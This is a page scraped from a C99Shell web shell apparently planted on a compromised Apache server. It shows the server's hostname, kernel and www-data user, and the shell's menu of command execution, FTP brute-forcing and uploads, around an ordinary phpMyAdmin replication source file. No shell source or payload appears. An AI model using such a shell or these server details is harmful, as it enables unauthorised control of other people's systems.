!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/phpmyadmin/libraries/   drwxr-xr-x
Free 13.06 GB of 57.97 GB (22.53%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     replication.inc.php (4.34 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Replication helpers
 *
 * @package PhpMyAdmin
 */
if (! defined('PHPMYADMIN')) {
    exit;
}

use 
PhpMyAdmin\Replication;

/**
 * get master replication from server
 */
$server_master_replication $GLOBALS['dbi']->fetchResult('SHOW MASTER STATUS');

/**
 * set selected master server
 */
if (! empty($_POST['master_connection'])) {
    
/**
     * check for multi-master replication functionality
     */
    
$server_slave_multi_replication $GLOBALS['dbi']->fetchResult(
        
'SHOW ALL SLAVES STATUS'
    
);
    if (
$server_slave_multi_replication) {
        
$GLOBALS['dbi']->query(
            
"SET @@default_master_connection = '"
            
$GLOBALS['dbi']->escapeString(
                
$_POST['master_connection']
            ) . 
"'"
        
);
        
$GLOBALS['url_params']['master_connection'] = $_POST['master_connection'];
    }
}

/**
 * get slave replication from server
 */
$server_slave_replication $GLOBALS['dbi']->fetchResult('SHOW SLAVE STATUS');

/**
 * replication types
 */
$replication_types = array('master''slave');


/**
 * define variables for master status
 */
$master_variables = array(
    
'File',
    
'Position',
    
'Binlog_Do_DB',
    
'Binlog_Ignore_DB',
);

/**
 * Define variables for slave status
 */
$slave_variables  = array(
    
'Slave_IO_State',
    
'Master_Host',
    
'Master_User',
    
'Master_Port',
    
'Connect_Retry',
    
'Master_Log_File',
    
'Read_Master_Log_Pos',
    
'Relay_Log_File',
    
'Relay_Log_Pos',
    
'Relay_Master_Log_File',
    
'Slave_IO_Running',
    
'Slave_SQL_Running',
    
'Replicate_Do_DB',
    
'Replicate_Ignore_DB',
    
'Replicate_Do_Table',
    
'Replicate_Ignore_Table',
    
'Replicate_Wild_Do_Table',
    
'Replicate_Wild_Ignore_Table',
    
'Last_Errno',
    
'Last_Error',
    
'Skip_Counter',
    
'Exec_Master_Log_Pos',
    
'Relay_Log_Space',
    
'Until_Condition',
    
'Until_Log_File',
    
'Until_Log_Pos',
    
'Master_SSL_Allowed',
    
'Master_SSL_CA_File',
    
'Master_SSL_CA_Path',
    
'Master_SSL_Cert',
    
'Master_SSL_Cipher',
    
'Master_SSL_Key',
    
'Seconds_Behind_Master',
);
/**
 * define important variables, which need to be watched for
 * correct running of replication in slave mode
 *
 * @usedby PhpMyAdmin\ReplicationGui::getHtmlForReplicationStatusTable()
 */
// TODO change to regexp or something, to allow for negative match.
// To e.g. highlight 'Last_Error'
//
$slave_variables_alerts = array(
    
'Slave_IO_Running' => 'No',
    
'Slave_SQL_Running' => 'No',
);
$slave_variables_oks = array(
    
'Slave_IO_Running' => 'Yes',
    
'Slave_SQL_Running' => 'Yes',
);

// check which replication is available and
// set $server_{master/slave}_status and assign values

// replication info is more easily passed to functions
$GLOBALS['replication_info'] = array();

foreach (
$replication_types as $type) {
    if (
count(${"server_{$type}_replication"}) > 0) {
        
$GLOBALS['replication_info'][$type]['status'] = true;
    } else {
        
$GLOBALS['replication_info'][$type]['status'] = false;
    }
    if (
$GLOBALS['replication_info'][$type]['status']) {
        if (
$type == "master") {
            
Replication::fillInfo(
                
$type'Do_DB'$server_master_replication[0],
                
'Binlog_Do_DB'
            
);

            
Replication::fillInfo(
                
$type'Ignore_DB'$server_master_replication[0],
                
'Binlog_Ignore_DB'
            
);
        } elseif (
$type == "slave") {
            
Replication::fillInfo(
                
$type'Do_DB'$server_slave_replication[0],
                
'Replicate_Do_DB'
            
);

            
Replication::fillInfo(
                
$type'Ignore_DB'$server_slave_replication[0],
                
'Replicate_Ignore_DB'
            
);

            
Replication::fillInfo(
                
$type'Do_Table'$server_slave_replication[0],
                
'Replicate_Do_Table'
            
);

            
Replication::fillInfo(
                
$type'Ignore_Table'$server_slave_replication[0],
                
'Replicate_Ignore_Table'
            
);

            
Replication::fillInfo(
                
$type'Wild_Do_Table'$server_slave_replication[0],
                
'Replicate_Wild_Do_Table'
            
);

            
Replication::fillInfo(
                
$type'Wild_Ignore_Table'$server_slave_replication[0],
                
'Replicate_Wild_Ignore_Table'
            
);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--